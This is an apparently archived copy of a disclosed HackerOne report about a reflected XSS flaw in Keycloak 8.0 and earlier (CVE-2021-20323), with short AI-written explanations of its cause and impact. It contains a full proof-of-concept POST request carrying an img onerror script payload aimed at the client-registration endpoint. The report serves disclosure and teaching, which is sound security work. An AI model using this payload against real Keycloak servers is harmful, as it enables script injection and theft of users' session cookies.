Skip to content
XSS Disclosed report Intermediate CVE-2021-20323

Reflected XSS via Keycloak on ███ [CVE-2021-20323]

Keycloak 8.0 and earlier failed to validate input in the path of a POST request to the openid-connect client registration endpoint, so the server inserted the payload directly into the response. An attacker could execute arbitrary script in a victim's browser and steal cookie-based authentication credentials.

maskedpersian Follow

Originally disclosed on HackerOne

  • Triaged in 16 hours
  • Fixed in 5 months
  • Disclosed after 6 months

Keycloak 8.0 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks. A lack of proper input validation made it possible for an attacker to execute malicious JavaScript code on https://██████████/auth/realms/master/clients-registrations/openid-connect This reflected XSS would execute after making a POST request with an XSS payload in the path of the request. As a result, the server would directly insert the payload into the response, allowing the XSS to trigger on the page. References https://cure53.de/pentest-report_keycloak.pdf https://hackerone.com/reports/87040 POC:

POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
Host: █████
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 63

{"<img onerror=confirm('xss_poc_unexpectedbufferc0n') src/>":1}

Impact

If successful, a cross site scripting attack can severely impact websites and web applications, damage their reputation and relationships with customers. XXS can deface websites, can result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device.

System Host(s)

██████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

run POC

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by maskedpersian. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server reflected user-controlled input from the request path into the HTML response without encoding it.

Impact

An attacker could execute arbitrary script and steal cookie-based authentication credentials, and launch other attacks.

What the attacker needed

A crafted POST request with a payload in the path; Keycloak 8.0 or earlier

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The server took text from the request and put it straight into the page it sent back, so an attacker could make the page run their own code. That code could then read the user's login cookie and send it to the attacker.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by maskedpersian

View all

16 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.